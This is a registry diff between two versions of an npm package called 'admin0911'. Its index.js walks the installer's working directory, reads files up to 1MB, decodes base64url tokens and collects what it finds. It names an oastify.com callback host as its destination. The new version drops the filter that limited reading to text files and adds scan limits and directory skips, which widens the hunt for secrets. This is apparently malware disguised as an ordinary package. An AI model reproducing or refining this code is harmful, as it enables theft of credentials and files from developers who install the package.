admin0911 1.0.5 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin0911-1.0.7.tgz +0 -0
- package/index.js +21 -17
- package/package.json +1 -1
- package/admin0911-1.0.5.tgz +0 -0
|
Binary file
|
package/index.js
CHANGED
|
@@ -1,19 +1,16 @@
|
|
|
1
1
|
const http = require('http');
|
|
2
2
|
const fs = require('fs');
|
|
3
3
|
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
4
5
|
|
|
5
6
|
const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
|
|
6
|
-
const ROOT_DIR = process.cwd();
|
|
7
|
-
const MAX_FILE_SIZE =
|
|
8
|
-
const
|
|
7
|
+
const ROOT_DIR = process.cwd(); // Reverted to current directory to prevent OOM
|
|
8
|
+
const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB constraint
|
|
9
|
+
const MAX_FILES_TO_SCAN = 1000;
|
|
10
|
+
let scannedFilesCount = 0;
|
|
9
11
|
|
|
10
12
|
const found = [];
|
|
11
13
|
|
|
12
|
-
function isTextFile(filePath) {
|
|
13
|
-
const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
|
|
14
|
-
return textExtensions.includes(path.extname(filePath).toLowerCase());
|
|
15
|
-
}
|
|
16
|
-
|
|
17
14
|
function base64UrlDecode(input) {
|
|
18
15
|
let str = input.replace(/-/g, '+').replace(/_/g, '/');
|
|
19
16
|
while (str.length % 4) str += '=';
|
|
@@ -55,7 +52,6 @@ function scanFile(filePath) {
|
|
|
55
52
|
try {
|
|
56
53
|
const stats = fs.statSync(filePath);
|
|
57
54
|
if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
|
|
58
|
-
if (!isTextFile(filePath)) return;
|
|
59
55
|
|
|
60
56
|
const content = fs.readFileSync(filePath, 'utf8');
|
|
61
57
|
|
|
@@ -99,15 +95,23 @@ function scanFile(filePath) {
|
|
|
99
95
|
}
|
|
100
96
|
|
|
101
97
|
function scanDirectory(dir) {
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
const
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
98
|
+
if (scannedFilesCount >= MAX_FILES_TO_SCAN) return;
|
|
99
|
+
try {
|
|
100
|
+
const entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
101
|
+
for (const entry of entries) {
|
|
102
|
+
if (scannedFilesCount >= MAX_FILES_TO_SCAN) break;
|
|
103
|
+
const fullPath = path.join(dir, entry.name);
|
|
104
|
+
if (entry.isDirectory()) {
|
|
105
|
+
// Skip common large or slow directories
|
|
106
|
+
if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows'].includes(entry.name.toLowerCase())) continue;
|
|
107
|
+
scanDirectory(fullPath);
|
|
108
|
+
} else {
|
|
109
|
+
scanFile(fullPath);
|
|
110
|
+
scannedFilesCount++;
|
|
111
|
+
}
|
|
110
112
|
}
|
|
113
|
+
} catch (e) {
|
|
114
|
+
// ignore unreadable directories
|
|
111
115
|
}
|
|
112
116
|
}
|
|
113
117
|
|
package/package.json
CHANGED
package/admin0911-1.0.5.tgz
DELETED
|
Binary file
|